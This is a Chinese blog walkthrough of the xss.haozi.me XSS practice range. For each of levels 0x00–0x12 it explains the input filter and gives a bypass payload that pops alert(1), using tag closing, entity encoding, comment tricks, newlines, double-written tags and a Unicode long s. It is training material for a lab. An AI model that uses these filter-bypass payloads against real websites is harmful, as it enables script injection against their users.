XSS漏洞:xss.haozi.me靶场1-12 | A-F

news2025/4/21 16:45:18

目录

0x00(无限制)

0x01(闭合标签绕过)

0x02(双引号闭合绕过)

0x03(过滤括号)

0x04(编码绕过)

0x05(注释闭合绕过)

0x06(换行绕过)

0x07(删除标签换行绕过)

0x08(加空格绕过)

0x09(闭合绕过)

0x0A(JS 调用)

0x0B

0x0C(JS 调用+双写绕过)

0x0D

0x0E

0x0F

0x10(闭合标签+换行绕过)

0x11(双引号和括号闭合)

0x12(闭合标签+换行绕过)


xss.haozi.me靶场网址:

https://xss.haozi.me/#/0x00icon-default.png?t=N7T8https://xss.haozi.me/#/0x00

0x00(无限制)

第一关很简单,我们直接进行弹窗

<script>alert(1)</script>

0x01(闭合标签绕过)

把<textarea>标签闭合掉,再进行弹窗

</textarea><script>alert(1)</script><textarea>

0x02(双引号闭合绕过)

输入的内容被放在了value里面包起来了,并且没有对我们输入的内容进行限制,因此直接用 "> 闭合了前面的 input 标签,然后在后面添加弹窗代码

"> <script>alert(1)</script>

0x03(过滤括号)

这关输入弹窗代码发现()被过滤了,用反单引号代替()

<script>alert`1`</script>

0x04(编码绕过)

这关发现反单引号也被过滤了,所以我们用 svg 和对(1)进行 Unicode 编码来实现弹窗

<svg><script>alert&#40;&#49;&#41;</script>

0x05(注释闭合绕过)

直接输入弹窗代码会被注释掉,用 --> 闭合会出来一个表情,所以我们用 --!> 闭合

--!><script>alert(1)</script>

0x06(换行绕过)

通过输入代码会发现 >、= 会被过滤,发现可以换行绕过,所以代码如下

onclick
="alert(1)"

0x07(删除标签换行绕过)

输入的值被包裹在一对 article 标签并且对我们输入的值进行了过滤,对 </> 进行了过滤,因此无法提前闭合<article>标签。

<input onclick=
"alert(1)"

0x08(加空格绕过)

输入的代码被包在一对 style 标签内,并且对输入的内容进行了替换,如果输入</style> 会替换成“坏人”

<style> 标签表示css样式表,不能执行 JavaScript 语句,即不能直接输入xss语句像 <img scr="xxx">,其中img和src中间有空格,也就是说标签和属性之间是可以有空格的

</style> 标签也是一样的,在 style 后面加入空格,加入空格后可以往后面加上属性,但是不加属性只加空格也是可以解析的,所以使用空格来闭合 style 标签从而绕过匹配,进行弹窗

</style ><script>alert(1)</script>

0x09(闭合绕过)

需要我们输入一个 http://www.segmentfault.com/ 的格式才能成功匹配 if 语句进入html页面;可以使用onerror 事件来绕过,去请求url,如果请求失败则触发事件然后等待超时后就可以触发事件弹窗

http://www.segmentfault.com "onerror=alert(1)//

0x0A(JS 调用)

定义了一个名为 escapeHtml 的内部函数,用于转义 HTML 中的特殊字符。该函数将 &, ', ", <, >, / 分别替换为它们对应的 HTML 实体,以防止 XSS 攻击和 HTML 注入等安全问题。接着,定义了一个正则表达式 domainRe,用于匹配以 http:// 或 https:// 开头,后跟 www.segmentfault.com 的 URL。然后,使用 domainRe.test(input) 来测试输入的 URL 是否符合该正则表达式。如果输入的 URL 符合 domainRe 定义的格式,则调用 escapeHtml 函数对输入的 URL 进行 HTML 转义,并将其插入到 <script> 标签的 src 属性中,最终返回类似于 <script src="https://www.segmentfault.com"></script> 的字符串。如果输入的 URL 不符合格式,则返回 ‘Invalid URL’ 字符串。

所以本关其实与上一关差不多,但是我们如果采用闭合,那么将会被实体编码从而无法完成调用。本关我们只能采用使用官方的JS进行调用:

https://www.segmentfault.com.haozi.me/j.js

0x0B

本关限制就很简单,将我们输入的所有字符都进行了转大写,引入官方 js 文件就可以直接弹窗

<script src="https://www.segmentfault.com.haozi.me/j.js"></script>

0x0C(JS 调用+双写绕过)

把所有的字符转换为了大写,并且将 script 关键字进行了过滤,因此可以使用“双写绕过+再次引入外部官方文件”的方式来进行弹窗

<sscriptcript src="https://www.segmentfault.com.haozi.me/j.js"></sscriptcript>

0x0D

对 / < " ' 进行了限制,所以无法进行闭合标签的操作,用回车换行可以逃过 // 注释,但是后面还有一个 ') 无法进行弹窗

发现可以用 --> 注释掉后面 ')

alert(1)
-->

0x0E

发现将所有的字符都进行了大写操作,并且将第一个以 < 开头后面是一个字母的值替换为了_

这里我们可以使用特殊字符” ſ “(古英文的小写s),将其转化为大写后就变成了大写的S,然后使用外部引入的方式来进行弹窗

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

0x0F

发现对输入的 & ' " < > / 进行了过滤,现在先闭合前面的 ),然后再后面直接进行弹窗

');alert(1) ('

0x10(闭合标签+换行绕过)

发现被放在了windows.data中,现在绕过 window.data 然后闭合前面的 script 再进行弹窗

</script>
<script>alert(1)</script>

0x11(双引号和括号闭合)

发现输入的字符最终被放在了javascript:console.log中,多次尝试发现和 0x0F 类似

");alert(1)("

0x12(闭合标签+换行绕过)

发现输入的内容放在了 console.log 中,并且对 " 进行了过滤,防止我们闭合

尝试之后发现换行再使用</script>闭合前面的</script>可以实现弹窗

</script>
<script>alert(1)</script>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1954190.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【网络爬虫技术】(1·绪论)

&#x1f308; 个人主页&#xff1a;十二月的猫-CSDN博客 &#x1f525; 系列专栏&#xff1a; &#x1f3c0;网络爬虫开发技术入门_十二月的猫的博客-CSDN博客 &#x1f4aa;&#x1f3fb; 十二月的寒冬阻挡不了春天的脚步&#xff0c;十二点的黑夜遮蔽不住黎明的曙光 目录 …

【C语言】两个数组比较详解

目录 C语言中两个数组比较详解1. 逐元素比较1.1 示例代码1.2 输出结果1.3 分析 2. 内置函数的使用2.1 示例代码2.2 输出结果2.3 分析 3. 在嵌入式系统中的应用3.1 示例代码3.2 输出结果3.3 分析 4. 拓展技巧4.1 使用指针优化比较4.2 输出结果4.3 分析 5. 表格总结6. 结论7. 结束…

yolov8 训练模型

一、准备数据 1.1 收集数据 以拳皇为例&#xff0c;将录制的游戏视频进行抽帧。 import cv2 import os# 视频文件路径 video_path 1.mp4# 输出帧的保存目录 output_dir ./output_frames os.makedirs(output_dir, exist_okTrue)# 读取视频 cap cv2.VideoCapture(video_pa…

7-25学习笔记

一、锁对象 Lock接口 1、创建锁对象 ReentrantLock类 Lock locknew ReentrantLock(true); 默认创建的是非公平锁 在创建锁对象时传入一个true参数 便会创建公平锁 先来后到 是重入锁 排他锁 加锁后不允许其它线程进入 2、加锁、解锁 &#xff08;1&#xff09;loc…

服务器搭建总结

服务器搭建好初期要记得开放端口&#xff0c;配置安全组 &#xff0c;主要的有22&#xff0c;80&#xff0c;3389&#xff0c;8888等&#xff0c;宝塔连接的端口在8888上&#xff0c;不开放无法连接 由于时使用的腾讯云服务器&#xff0c;所以在宝塔选择上使用了Windows的面板…

Autodesk Revit v2025 激解锁版下载及安装教程 (三维建模软件)

前言 Revit是欧特克公司知名的三维建模软件&#xff0c;是建筑业BIM体系中使用最广泛的软件之一&#xff0c;其核心功能是三维建筑模型参数化设计、渲染效果图、算量&#xff0c;土建建模、机电建模、用来帮助工程师在施工前精确模拟阶段。 一、下载地址 下载链接&#xff1…

消息摘要算法:MD5加密

&#x1f31f; 主题简介 今天&#xff0c;我们将深入探讨一种经典且广泛应用的加密算法——MD5。通过案例形式了解其原理、实现方法及注意细节。无论你是Python爱好者还是JavaScript高手&#xff0c;这篇内容都将为你揭开MD5的神秘面纱。 &#x1f4da; 内容介绍 MD5&#xf…

大话成像公众号文章阅读学习(一)

系列文章目录 文章目录 系列文章目录前言一、扫射拍摄二、索尼Alpha 9 III2.1. 视频果冻效应2.2 闪光灯同步速度2.3 其他功能 三 A9III 局限性总结 前言 大话成像是一个专注成像的公众号&#xff0c;文章都很好。 今天看的这篇是 特朗普遭枪击后“大片”出自它 文章地址 htt…

文章解读与仿真程序复现思路——电网技术EI\CSCD\北大核心《考虑电动汽车动态拥堵的配电网灵活性资源双层优化调度 》

本专栏栏目提供文章与程序复现思路&#xff0c;具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源…

揭秘企业为何钟情定制红酒:品牌形象与不同的礼品的双重魅力

在商务世界的广阔天地里&#xff0c;红酒不仅仅是一种饮品&#xff0c;更是一种传递情感、展示品味的不同媒介。近年来&#xff0c;越来越多的企业开始钟情于定制红酒&#xff0c;其中洒派红酒&#xff08;Bold & Generous&#xff09;通过其品质和个性化的定制服务&#x…

深入源码:解析SpotBugs (4)如何自定义一个 SpotBugs plugin

自定义一个 spotbugs 的插件&#xff0c;官方有比较详细的说明&#xff1a; https://spotbugs.readthedocs.io/en/stable/implement-plugin.html 本篇是跟随官网demo的足迹&#xff0c;略显无聊&#xff0c;可跳过。 创建工程 执行maven 命令 mvn archetype:generate -Darche…

关于Jenkins自动化部署Maven项目:

jenkins介绍: Jenkins是一个开源软件项目&#xff0c;是基于Java开发的一种持续集成工具&#xff0c;用于监控持续重复的工作&#xff0c;旨在提供一个开放易用的软件平台&#xff0c;使软件项目可以进行持续集成。 jenkins作用:更好的利于测试工程师测试项目(自动部署) 安装je…

游戏UI设计大师课:3款游戏 UI 设计模板

很多时候&#xff0c;做设计需要找素材。假如是普通的 UI 界面或者 Banner 等等&#xff0c;在Dribbble、Pinterest、即时设计、Behance 翻看这样的网站&#xff0c;至少可以梳理出一些想法和思路。如果你需要一个更规范的指南&#xff0c;此时&#xff0c;在各种设计规范、官方…

【网络安全】AWS S3 Bucket配置错误导致敏感信息泄露

未经许可&#xff0c;不得转载。 文章目录 前言技术分析正文 前言 AWS&#xff08;Amazon Web Services&#xff09;是亚马逊公司提供的一个安全的云服务平台&#xff0c;旨在为个人、公司和政府机构提供计算能力、存储解决方案、内容交付和其他功能。作为全球领先的云服务提供…

electron调试

electron 调试 electron 的调试分两步&#xff0c;界面的调试&#xff0c;和主进程的调试。 界面调试类似浏览器F12&#xff0c;可是调试不到主进程。 主进程调试有vscode、命令行提示和外部调试器调试。 本篇记录的练习是vscode调试。命令行和外部调试器的方式可以参考官网&a…

模拟实现c++中的vector模版

目录 一vector简述&#xff1a; 二vector的一些接口函数&#xff1a; 1初始化&#xff1a; 2.vector增长&#xff1a; 3vector增删查改&#xff1a; 三vector模拟实现部分主要函数&#xff1a; 1.size,capacity,empty,clear接口&#xff1a; 2.reverse的实现&#xff1…

青少年科普平台-计算机毕业设计源码76194

摘 要 对于搭建一个青少年科普平台&#xff0c;您可以考虑使用Spring Boot作为后端框架。Spring Boot是一个能够简化Spring应用开发的框架&#xff0c;能够帮助您快速搭建稳定、高效的后端服务。您可以利用Spring Boot的特性来构建一个可靠的数据服务&#xff0c;用于展示和传播…

docker镜像下载

1、搜索镜像 [rootlocalhost ~]# docker search ubuntu 2、下载ubuntu系统镜像(容器架构与宿主机相同) [rootlocalhost ~]# docker pull ubuntu #选择stars值最高镜像下载&#xff0c;默认为latest版 [rootlocalhost ~]# docker images 3、查看镜像支持的架构 [rootlocalh…

1143. 最长公共子序列(详细版)

目录 dp解法&#xff1a; 1.状态代表什么&#xff1a; 2. 状态转移方程 3.初始化 3. so为什么要这样&#xff1f; 代码实现&#xff1a; 给定两个字符串 text1 和 text2&#xff0c;返回这两个字符串的最长 公共子序列 的长度。如果不存在 公共子序列 &#xff0c;返回 0…

protobuf2.5升级protobuf3.14.0

这个升级搞得心力憔悴&#xff0c;我VS2010升级到了VS2017&#xff0c;所有的库都要编译一下&#xff0c;想着顺便把其他的三方库也升级了。搞了好几天&#xff0c;才升级完&#xff0c;因为不仅要搞windows还要搞linux版本各种库的升级。hpsocket的升级&#xff0c;jsoncpp的升…